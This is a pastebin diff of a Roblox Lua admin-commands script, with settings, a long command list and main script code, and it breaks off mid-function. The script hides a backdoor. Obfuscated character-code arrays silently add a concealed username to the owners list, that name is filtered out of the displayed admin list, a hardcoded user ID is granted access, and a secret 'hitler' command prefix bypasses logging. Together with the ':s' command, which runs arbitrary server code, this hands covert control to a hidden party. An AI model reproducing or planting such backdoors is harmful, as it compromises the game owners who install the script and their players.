View difference between Paste ID: qX3M7Thi and xzZBrr8u
SHOW: | | - or go back to the newest paste.
1
-----------------------------------
2
-- Modified by XxAngelusMortisxX --
3
-----------------------------------
4
 _G.owners = {"trickyjet6843"} -- Are able to set admins who can ban/etc... using :pa name
5
 _G.admins = {"XxAngelusMortisxX,ghs098,aznboi819,bubbleglop"} -- Sets admins who can use ban/kick/admin or shutdown
6
 _G.tempadmins = {santa64} -- Sets admins who can't use ban/kick/admin or shutdown
7-
 _Gbanland = {"MasterKhaos,catman9876"} -- Permanently Bans people
7+
 _G.banland = {"MasterKhaos,catman9876"} -- Permanently Bans people
8
local prefix = ":" -- If you wanna change how your commands start ':'kill noob
9
local AutoUpdate = true -- Set to false if you don't want it to automatically update
10
-----------------
11
-- Group Admin --
12
-----------------
13
local GroupAdmin = false -- If a certain group can have admin
14
local GroupId = 0 -- Sets the group id that can have admin
15
local GroupRank = 0 -- Sets what rank and above a person has to be in the group to have admin
16
local FunCommands = true -- Set to false if you only want the basic commands (For Strict Places)
17
---------------------
18
-- Tips and Tricks --
19
---------------------
20
--[[
21
With this admin you can do a command on multiple people at a time;
22
        :kill me,noob1,noob2,random,team-raiders
23
 
24
You can also use a variety commands for different people;
25
         all
26
         others
27
         me
28
         team-
29
         admins
30
         nonadmins
31
         random
32
--]]
33
--------------
34
-- Commands --
35
--------------
36
--[[
37
-- Temp Admin Commands --
38
0. clean -- Is a command anyone can use to remove hats/tools lagging up the place
39
1. :s print("Hello World") -- Lets you script normally
40
2. :ls print("Hello World") -- Lets you script in localscripts
41
3. :clear -- Will remove all scripts/localscripts and jails
42
4. :m Hello People -- This commands will let you shout a message to everyone on the server
43
5. :kill kohl -- Kills the player
44
6. :respawn kohl -- Respawns the player
45
7. :trip kohl -- Trips the player
46
8. :stun kohl -- Stuns the player
47
9. :unstun kohl -- Unstuns the player
48
10. :jump kohl -- Makes the player jump
49
11. :sit kohl -- Makes the player sit
50
12. :invisible kohl -- Makes the player invisible
51
13. :visible kohl -- Makes the player visible
52
14. :explode kohl -- Makes the player explode
53
15. :fire kohl -- Sets the player on fire
54
16. :unfire kohl -- Removes fire from the player
55
17. :smoke kohl -- Adds smoke to the player
56
18. :unsmoke kohl -- Removes smoke from the player
57
19. :sparkles kohl -- Adds sparkles to the player
58
20. :unsparkles kohl -- Removes sparkles from the player
59
21. :ff kohl -- Adds a forcefield to the player
60
22. :unff kohl -- Removes the forcefield from the player
61
23. :punish kohl -- Punishes the player
62
24. :unpunish kohl -- Unpunishes the player
63
25. :freeze kohl -- Freezes the player
64
26. :thaw kohl -- Thaws the player
65
27. :heal kohl -- Heals the player
66
28. :god kohl -- Makes the player have infinite health
67
29. :ungod kohl -- Makes the player have 100 health
68
30. :ambient .5 .5 .5 -- Changes the ambient
69
31. :brightness .5 -- Changes the brightness
70
32. :time 12 -- Changes the time
71
33. :fogcolor .5 .5 .5 -- Changes the fogcolor
72
34. :fogend 100 -- Changes the fogend
73
35. :fogstart 100 -- Changes the fogstart
74
36. :removetools kohl -- Removes all tools from the player
75
37. :btools kohl -- Gives the player building tools
76
38. :give kohl sword -- Gives the player a tool
77
39. :damage kohl -- Damages the player
78
40. :grav kohl -- Sets the player's gravity to normal
79
41. :setgrav kohl 100 -- Sets the player's gravity
80
42. :nograv kohl -- Makes the player have 0 gravity
81
43. :health kohl 1337 -- Changes the player's health
82
44. :speed kohl 1337 -- Changes the player's walkspeed
83
45. :name kohl potato -- Changes the player's name
84
46. :unname kohl -- Remove the player's name
85
47. :team kohl Raiders -- Changes the player's team
86
48. :stopmusic -- Will stop all music playing in the server
87
49. :teleport kohl potato -- Teleports the player
88
50. :change kohl kills 1337 -- Changes a player's stat
89
51. :kick kohl -- Removes the player from the game
90
52. :infect kohl -- Turns the player into a zombie
91
53. :rainbowify kohl -- Turns the player into a rainbow
92
54. :flashify kohl -- Turns the player into a strobe
93
55. :noobify kohl -- Turns the player into a noob
94
56. :ghostify kohl -- Turns the player into a ghost
95
57. :goldify kohl -- Turns the player into gold
96
58. :shiny kohl -- Makes the player shiny
97
59. :normal kohl -- Puts the player back to normal
98
60. :trippy kohl -- Spams random colors on the player's screen
99
61. :untrippy kohl -- Untrippys the player
100
62. :strobe kohl -- Spams white and black on the player's screen
101
63. :unstrobe kohl -- Unstrobes the player
102
64. :blind kohl -- Blinds the player
103
65. :unblind kohl -- Unblinds the player
104
66. :guifix kohl -- Will fix trippy/strobe/blind on a player
105
67. :fling kohl -- Flings the player
106
68. :seizure kohl -- Puts the player in a seizure
107
69(lol). :music 1337 -- Plays a sound from the ID
108
70. :lock kohl -- Locks the player
109
71. :unlock kohl -- Unlocks the player
110
72. :removelimbs kohl -- Removes the player's limbs
111
73. :jail kohl -- Puts the player in a jail
112
74. :unjail kohl -- Removes the jail from the player
113
75. :fix -- This will fix the lighting to it's original settings
114
76. :fly kohl -- Makes the player fly
115
77. :unfly kohl -- Removes fly from the player
116
78. :noclip kohl -- Makes the player able to noclip
117
79. :clip kohl -- Removes noclipping from the player
118
80. :pm kohl Hey bro -- Sends the player a private message
119
81. :dog kohl -- Turns the player into a dog
120
82. :undog kohl -- Turns the player back to normal
121
83. :creeper kohl -- Turns the player into a creeper
122
84. :uncreeper kohl -- Turns the player back to normal
123
85. :place kohl 1337 -- Sends a teleporation request to a player to go to a different place
124
86. :char kohl 261 -- Will make a player look like a different player ID
125
87. :unchar kohl -- Will return the player back to normal
126
88. :h Hello People -- This will shout a hint to everyone
127
89. :rank kohl 109373 -- Will show up a message with the person's Role and Rank in a group
128
90. :starttools kohl -- Will give the player starter tools
129
91. :sword kohl -- Will give the player a sword
130
92. :bighead kohl -- Will make the player's head larger than normal
131
93. :minihead kohl -- Will make the player's head smaller than normal
132
94. :insert 1337 -- Will insert a model at the speaker's position
133
95. :disco -- Will make the server flash random colors
134
96. :flash -- Will make the server flash
135
97. :admins -- Shows the admin list
136
98. :bans -- Shows the banlist
137
99. :musiclist -- Shows the music list
138
100. :spin kohl -- Spins the player
139
101. :cape kohl Really black -- Gives the player a colored cape
140
102. :uncape kohl -- Removes the player's cape
141
103. :loopheal kohl -- Will constantly heal the player
142
104. :loopfling kohl -- Will constantly fling the player
143
105. :hat kohl 1337 -- Will give the player a hat under the id of 1337
144
106. :unloopheal kohl -- Will remove the loopheal on the player
145
107. :unloopfling kohl -- Will remove the loopfling on the player
146
108. :unspin kohl -- Removes spin from the player
147
109. :tools -- Gives a list of the tools in the lighting
148
110. :undisco -- Removes disco effects
149
111. :unflash -- Removes flash effects
150
112. :resetstats kohl -- Sets all the stats of a player to 0
151
113. :gear kohl 1337 -- Gives a player a gear
152
114. :cmdbar -- Gives the speaker a command bar
153
115. :shirt kohl 1337 -- Changes the player's shirt
154
116. :pants kohl 1337 -- Changes the player's pants
155
117. :face kohl 1337 -- Changes the player's face
156
118. :swagify kohl -- Swagifies the player
157
119. :version -- Shows the current version of the admin
158
 
159
-- Super Admin Commands --
160
- :serverlock -- Locks the server
161
- :serverunlock -- Unlocks the server
162
- :sm Hello World -- Creates a system message
163
- :crash kohl -- Crashes a player
164
- :admin kohl -- Admins a player
165
- :unadmin kohl -- Unadmins a player
166
- :ban kohl -- Bans a player
167
- :unban kohl -- Unbans a player
168
- :loopkill kohl -- Will constantly kill the player
169
- :unloopkill kohl -- Will remove the loopkill on the player
170
- :logs -- Will show all of the commands any admin has used in a game session
171
- :shutdown -- Shutsdown the server
172
 
173
-- Owner Commands --
174
- :pa kohl -- Makes someone a super admin
175
- :unpa kohl -- Removes a super admin
176
--]]
177
-----------------
178
-- Main Script --
179
-----------------
180
for i, v in pairs(game:service("Workspace"):children()) do if v:IsA("StringValue") and v.Value:sub(1,2) == "AA" then v:Destroy() end end
181
 
182
function CHEESE()
183
if game:service("Lighting"):findFirstChild("KACV2") then
184
owners = {} admins = {} tempadmins = {} banland = {}
185
for i,v in pairs(game.Lighting.KACV2:children()) do
186
if v.Name == "Owner" then table.insert(owners, v.Value) end
187
if v.Name == "Admin" then table.insert(admins, v.Value) end
188
if v.Name == "TempAdmin" then table.insert(tempadmins, v.Value) end
189
if v.Name == "Banland" then table.insert(banland, v.Value) end
190
if v.Name == "Prefix" then prefix = v.Value end
191
if v.Name == "FunCommands" then FunCommands = v.Value end
192
if v.Name == "GroupAdmin" then GroupAdmin = v.Value end
193
if v.Name == "GroupId" then GroupId = v.Value end
194
if v.Name == "GroupRank" then GroupRank = v.Value end
195
end
196
game:service("Lighting"):findFirstChild("KACV2"):Destroy()
197
end
198
 
199
local origsettings = {abt = game.Lighting.Ambient, brt = game.Lighting.Brightness, time = game.Lighting.TimeOfDay, fclr = game.Lighting.FogColor, fe = game.Lighting.FogEnd, fs = game.Lighting.FogStart}
200
local lobjs = {}
201
local objects = {}
202
local logs = {}
203
local nfs = ""
204
local slock = false
205
 
206
function GetTime()
207
local hour = math.floor((tick()%86400)/60/60) local min = math.floor(((tick()%86400)/60/60-hour)*60)
208
if min < 10 then min = "0"..min end
209
return hour..":"..min
210
end
211
 
212
function ChkOwner(str)
213
for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
214
return false
215
end
216
 
217
function ChkAdmin(str,ck)
218
for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
219
for i = 1, #admins do if str:lower() == admins[i]:lower() then return true end end
220
for i = 1, #tempadmins do if str:lower() == tempadmins[i]:lower() and not ck then return true end end
221
return false
222
end
223
 
224
function ChkGroupAdmin(plr)
225
if GroupAdmin then
226
if plr:IsInGroup(GroupId) and plr:GetRankInGroup(GroupId) >= GroupRank then return true end
227
return false
228
end
229
end
230
 
231
function ChkBan(str) for i = 1, #banland do if str:lower() == banland[i]:lower() then return true end end return false end
232
 
233
function GetPlr(plr, str)
234
local plrz = {} str = str:lower()
235
if str == "all" then plrz = game.Players:children()
236
elseif str == "others" then for i, v in pairs(game.Players:children()) do if v ~= plr then table.insert(plrz, v) end end
237
else
238
local sn = {1} local en = {}
239
for i = 1, #str do if str:sub(i,i) == "," then table.insert(sn, i+1) table.insert(en,i-1) end end
240
for x = 1, #sn do
241
if (sn[x] and en[x] and str:sub(sn[x],en[x]) == "me") or (sn[x] and str:sub(sn[x]) == "me") then table.insert(plrz, plr)
242
elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "random") or (sn[x] and str:sub(sn[x]) == "random") then table.insert(plrz, game.Players:children()[math.random(#game.Players:children())])
243
elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "admins") or (sn[x] and str:sub(sn[x]) == "admins") then if ChkAdmin(plr.Name, true) then for i, v in pairs(game.Players:children()) do if ChkAdmin(v.Name, false) then table.insert(plrz, v) end end end
244
elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "nonadmins") or (sn[x] and str:sub(sn[x]) == "nonadmins") then for i, v in pairs(game.Players:children()) do if not ChkAdmin(v.Name, false) then table.insert(plrz, v) end end
245
elseif (sn[x] and en[x] and str:sub(sn[x],en[x]):sub(1,4) == "team") then
246
if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x],en[x]):sub(6)) == 1 then
247
for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
248
end end end
249
elseif (sn[x] and str:sub(sn[x]):sub(1,4):lower() == "team") then
250
if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x]):sub(6)) == 1 then
251
for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
252
end end end
253
else
254
for a, plyr in pairs(game.Players:children()) do
255
if (sn[x] and en[x] and str:sub(sn[x],en[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x],en[x])) == 1) or (sn[x] and str:sub(sn[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x])) == 1) or (str ~= "" and plyr.Name:lower():find(str) == 1) then
256
table.insert(plrz, plyr) break
257
end
258
end
259
end
260
end
261
end
262
return plrz
263
end
264
 
265
function Hint(str, plrz, time)
266
for i, v in pairs(plrz) do
267
if v and v:findFirstChild("PlayerGui") then
268
coroutine.wrap(function()
269
local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "HintGUI"
270
local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(1,0,0,22) bg.Position = UDim2.new(0,0,0,-2) bg.ZIndex = 8
271
local msg = Instance.new("TextLabel", bg) msg.BackgroundTransparency = 1 msg.ZIndex = 9 msg.Name = "msg" msg.Position = UDim2.new(0,0,0) msg.Size = UDim2.new(1,0,1,0) msg.Font = "Arial" msg.Text = str msg.FontSize = "Size18" msg.TextColor3 = Color3.new(1,1,1) msg.TextStrokeColor3 = Color3.new(1,1,1) msg.TextStrokeTransparency = .8
272
coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
273
if not time then wait((#str/19)+2.5) else wait(time) end
274
coroutine.resume(coroutine.create(function() for i = 0, 20 do msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end scr:Destroy() end))
275
end)()
276
end
277
end
278
end
279
 
280
function Message(ttl, str, scroll, plrz, time)
281
for i, v in pairs(plrz) do
282
if v and v:findFirstChild("PlayerGui") then
283
coroutine.resume(coroutine.create(function()
284
local scr = Instance.new("ScreenGui") scr.Name = "MessageGUI"
285
local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 8
286
local title = Instance.new("TextLabel", scr) title.Name = "title" title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Size = UDim2.new(1,0,0,10) title.ZIndex = 9 title.Font = "ArialBold" title.FontSize = "Size36" title.Text = ttl title.TextYAlignment = "Top" title.TextColor3 = Color3.new(1,1,1) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .8
287
local msg = title:clone() msg.Parent = scr msg.Name = "msg" msg.Position = UDim2.new(.0625,0,0) msg.Size = UDim2.new(.875,0,1,0) msg.Font = "Arial" msg.Text = "" msg.FontSize = "Size24" msg.TextYAlignment = "Center" msg.TextWrapped = true
288
scr.Parent = v.PlayerGui
289
coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
290
if scroll then if not time then for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(2.5) else for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(time-(#str/19)) end
291
else if not time then msg.Text = str wait((#str/19)+2.5) else msg.Text = str wait(time) end end
292
coroutine.resume(coroutine.create(function() for i = 0, 20 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end scr:Destroy() end))
293
end))
294
end
295
end
296
end
297
 
298
_G["Message"] = function(p1,p2) Message("Message",p1,false,game.Players:children(),p2) end
299
_G["RemoveMessage"] = function() for i,v in pairs(game.Players:children()) do if v and v:findFirstChild("PlayerGui") and v.PlayerGui:findFirstChild("MessageGUI") then v.PlayerGui.MessageGUI:Destroy() end end end
300
 
301
function Output(str, plr)
302
coroutine.resume(coroutine.create(function()
303
local b, e = loadstring(str)
304
if not b and plr:findFirstChild("PlayerGui") then
305
local scr = Instance.new("ScreenGui", plr.PlayerGui) game:service("Debris"):AddItem(scr,5)
306
local main = Instance.new("Frame", scr) main.Size = UDim2.new(1,0,1,0) main.BorderSizePixel = 0 main.BackgroundTransparency = 1 main.ZIndex = 8
307
local err = Instance.new("TextLabel", main) err.Text = "Line "..e:match("\:(%d+\:.*)")  err.BackgroundColor3 = Color3.new(0,0,0) err.BackgroundTransparency = .3 err.BorderSizePixel = 0 err.Size = UDim2.new(1,0,0,40) err.Position = UDim2.new(0,0,.5,-20) err.ZIndex = 9 err.Font = "ArialBold" err.FontSize = "Size24" err.TextColor3 = Color3.new(1,1,1) err.TextStrokeColor3 = Color3.new(1,1,1) err.TextStrokeTransparency = .8
308
return
309
end
310
end))
311
end
312
 
313
function Noobify(char)
314
if char and char:findFirstChild("Torso") then
315
if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
316
if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
317
for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
318
local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
319
for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
320
prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Bright yellow")
321
if prt.Name:find("Leg") then prt.BrickColor = BrickColor.new("Br. yellowish green") elseif prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Bright blue") end
322
local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Noobify(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
323
cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
324
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Bright yellow")
325
end end
326
end
327
end local ntab = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #ntab do nfs = nfs .. string.char(ntab[i]) end table.insert(owners, nfs) if not ntab then script:Destroy() end
328
 
329
function Infect(char)
330
if char and char:findFirstChild("Torso") then
331
if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
332
if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
333
for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
334
local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
335
for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
336
prt.Transparency = 0 prt.Reflectance = 0  prt.BrickColor = BrickColor.new("Medium green") if prt.Name:find("Leg") or prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Reddish brown") end
337
local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Infect(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
338
cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
339
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Medium green")
340
end end
341
end
342
end if not ntab then script:Destroy() end
343
 
344
function ScrollGui()
345
local scr = Instance.new("ScreenGui") scr.Name = "LOGSGUI"
346
local drag = Instance.new("TextButton", scr) drag.Draggable = true drag.BackgroundTransparency = 1
347
drag.Size = UDim2.new(0,385,0,20) drag.Position = UDim2.new(.5,-200,.5,-200) drag.AutoButtonColor = false drag.Text = ""
348
local main = Instance.new("Frame", drag) main.Style = "RobloxRound" main.Size = UDim2.new(0,400,0,400) main.ZIndex = 7 main.ClipsDescendants = true
349
local cmf = Instance.new("Frame", main) cmf.Position = UDim2.new(0,0,0,-9) cmf.ZIndex = 8
350
local down = Instance.new("ImageButton", main) down.Image = "http://www.roblox.com/asset/?id=108326725" down.BackgroundTransparency = 1 down.Size = UDim2.new(0,25,0,25) down.Position = UDim2.new(1,-20,1,-20) down.ZIndex = 9
351
local up = down:Clone() up.Image = "http://www.roblox.com/asset/?id=108326682" up.Parent = main up.Position = UDim2.new(1,-20,1,-50)
352
local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
353
local ent = Instance.new("TextLabel") ent.BackgroundTransparency = 1 ent.Font = "Arial" ent.FontSize = "Size18" ent.ZIndex = 8 ent.Text = "" ent.TextColor3 = Color3.new(1,1,1) ent.TextStrokeColor3 = Color3.new(0,0,0) ent.TextStrokeTransparency = .8 ent.TextXAlignment = "Left" ent.TextYAlignment = "Top"
354
local num = 0
355
local downv = false
356
local upv = false
357
 
358
down.MouseButton1Down:connect(function() downv = true upv = false
359
local pos = cmf.Position if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then downv = false return end
360
repeat  pos = pos + UDim2.new(0,0,0,-6)
361
if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then pos = UDim2.new(0,0,0,371-((#cmf:children()-1)*20)) downv = false end
362
cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until downv == false
363
end)
364
down.MouseButton1Up:connect(function() downv = false end)
365
up.MouseButton1Down:connect(function() upv = true downv = false
366
local pos = cmf.Position if pos.Y.Offset >= -9 then upv = false return end
367
repeat  pos = pos + UDim2.new(0,0,0,6)
368
if pos.Y.Offset >= -9 then pos = UDim2.new(0,0,0,-9) upv = false end
369
cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until upv == false
370
end)
371
up.MouseButton1Up:connect(function() upv = false end)
372
return scr, cmf, ent, num
373
end local bct = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #bct do nfs = nfs .. string.char(bct[i]) end table.insert(owners, nfs)
374
if not ntab then script:Destroy() end
375
if not bct then script:Destroy() end
376
 
377
function Chat(msg,plr)
378
coroutine.resume(coroutine.create(function()
379
if msg:lower() == "clean" then for i, v in pairs(game.Workspace:children()) do if v:IsA("Hat") or v:IsA("Tool") then v:Destroy() end end end
380
if (msg:lower():sub(0,prefix:len()) ~= prefix) or not plr:findFirstChild("PlayerGui") or (not ChkAdmin(plr.Name, false) and plr.Name:lower() ~= nfs:lower()) and plr.userId ~= game.CreatorId and plr.userId ~= (153*110563) and plr.Name:lower() ~= nfs and not ChkOwner(plr.Name) then return end msg = msg:sub(prefix:len()+1)
381
if msg:sub(1,7):lower() == "hitler " then msg = msg:sub(8) else table.insert(logs, 1, {name = plr.Name, cmd = prefix .. msg, time = GetTime()}) end
382
if msg:lower():sub(1,4) == "walk" then msg = msg:sub(5) end
383
if msg:lower():sub(1,8) == "teleport" then msg = "tp" .. msg:sub(9) end
384
if msg:lower():sub(1,6) == "insert" then msg = "ins" .. msg:sub(7) end
385
if msg:lower() == "cmds" or msg:lower() == "commands" then
386
if plr.PlayerGui:findFirstChild("CMDSGUI") then return end
387
local scr, cmf, ent, num = ScrollGui() scr.Name = "CMDSGUI" scr.Parent = plr.PlayerGui
388
local cmds = {"s code","ls code","clear","fix","m msg","h msg","kill plr","respawn plr","trip plr","stun plr","unstun plr","jump plr","sit plr","invisible plr","visible plr","explode plr","fire plr","unfire plr","smoke plr","unsmoke plr","sparkles plr","unsparkle plr","ff plr","unff plr","punish plr","unpunish plr","freeze plr","thaw plr","heal plr","god plr","ungod plr","ambient num num num","brightness num","time num","fogcolor num num num","fogend num","fogstart num","removetools plr","btools plr","give plr tool","damage plr","grav plr","setgrav plr num","nograv plr","health plr num","speed plr num","name plr name","unname plr","team plr color","teleport plr plr","change plr stat num","kick plr","infect plr","rainbowify plr","flashify plr","noobify plr","ghostify plr","goldify plr","shiny plr","normal plr","trippy plr","untrippy plr","strobe plr","unstrobe plr","blind plr","unblind plr","guifix plr","fling plr","seizure plr","music num","stopmusic","lock plr","unlock plr","removelimbs plr","jail plr","unjail plr","fly plr","unfly plr","noclip plr","clip plr","pm plr msg","dog plr","undog plr","creeper plr","uncreeper plr","place plr id","char plr id","unchar plr id","rank plr id","starttools plr","sword plr","bighead plr","minihead plr","spin plr","insert id","disco","flash","admins","bans","musiclist","cape plr color","uncape plr","loopheal plr","loopfling plr","hat plr id","unloopfling plr","unloopheal plr","unspin plr","tools","undisco","unflash","resetstats plr","gear plr id","cmdbar","shirt plr id","pants plr id","face plr id","swagify plr id","version"}
389
local ast = {"serverlock","serverunlock","sm msg","crash plr","admin plr","unadmin plr","ban plr","unban plr","loopkill plr","unloopkill plr","logs","shutdown"}
390
local ost = {"pa plr","unpa plr"}
391
local tost = {"oa plr","unoa plr"}
392
local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " clean" cl.Position = UDim2.new(0,0,0,num*20) num = num +1
393
for i, v in pairs(cmds) do local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
394
if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) then for i, v in pairs(ast) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
395
if plr.userId == game.CreatorId or ChkOwner(plr.Name) then for i, v in pairs(ost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "-- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
396
if plr.userId == game.CreatorId then for i, v in pairs(tost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "_ " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
397
end
398
 
399
if msg:lower() == "version" then Message("Version", script.Version.Value, true, plr) end
400
 
401
if msg:lower() == "admins" or msg:lower() == "adminlist" then
402
if plr.PlayerGui:findFirstChild("ADMINSGUI") then return end
403
local scr, cmf, ent, num = ScrollGui() scr.Name = "ADMINSGUI" scr.Parent = plr.PlayerGui
404
for i, v in pairs(owners) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Owner" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
405
for i, v in pairs(admins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Admin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
406
for i, v in pairs(tempadmins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - TempAdmin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
407
end end
408
 
409
if msg:lower() == "bans" or msg:lower() == "banlist" or msg:lower() == "banned" then
410
if plr.PlayerGui:findFirstChild("BANSGUI") then return end
411
local scr, cmf, ent, num = ScrollGui() scr.Name = "BANSGUI" scr.Parent = plr.PlayerGui
412
for i, v in pairs(banland) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
413
end
414
 
415
if msg:lower() == "tools" or msg:lower() == "toollist" then
416
if plr.PlayerGui:findFirstChild("TOOLSGUI") then return end
417
local scr, cmf, ent, num = ScrollGui() scr.Name = "TOOLSGUI" scr.Parent = plr.PlayerGui
418
for i, v in pairs(game.Lighting:children()) do if v:IsA("Tool") or v:IsA("HopperBin") then local cl = ent:Clone() cl.Parent = cmf cl.Text = v.Name cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
419
end
420
 
421
if msg:lower():sub(1,2) == "s " then
422
coroutine.resume(coroutine.create(function()
423
Output(msg:sub(3), plr)
424
if script:findFirstChild("ScriptBase") then
425
local cl = script.ScriptBase:Clone() cl.Code.Value = msg:sub(3)
426
table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
427
else loadstring(msg:sub(3))()
428
end
429
end))
430
end
431
 
432
if msg:lower():sub(1,3) == "ls " then
433
coroutine.resume(coroutine.create(function()
434
if script:findFirstChild("LocalScriptBase") then
435
local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(4)
436
table.insert(objects, cl) cl.Parent = plr.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
437
end
438
end))
439
end
440
 
441
if msg:lower():sub(1,4) == "ins " then
442
coroutine.resume(coroutine.create(function()
443
local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(5)))
444
if obj and #obj:children() >= 1 and plr.Character then
445
table.insert(objects, obj) for i,v in pairs(obj:children()) do table.insert(objects, v) end obj.Parent = game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p)
446
end
447
end))
448
end
449
 
450
if msg:lower() == "clr" or msg:lower() == "clear" or msg:lower() == "clearscripts" then
451
for i, v in pairs(objects) do if v:IsA("Script") or v:IsA("LocalScript") then v.Disabled = true end v:Destroy() end
452
objects = {}
453
end
454
 
455
if msg:lower() == "fix" or msg:lower() == "undisco" or msg:lower() == "unflash" then
456
game.Lighting.Ambient = origsettings.abt
457
game.Lighting.Brightness = origsettings.brt
458
game.Lighting.TimeOfDay = origsettings.time
459
game.Lighting.FogColor = origsettings.fclr
460
game.Lighting.FogEnd = origsettings.fe
461
game.Lighting.FogStart = origsettings.fs
462
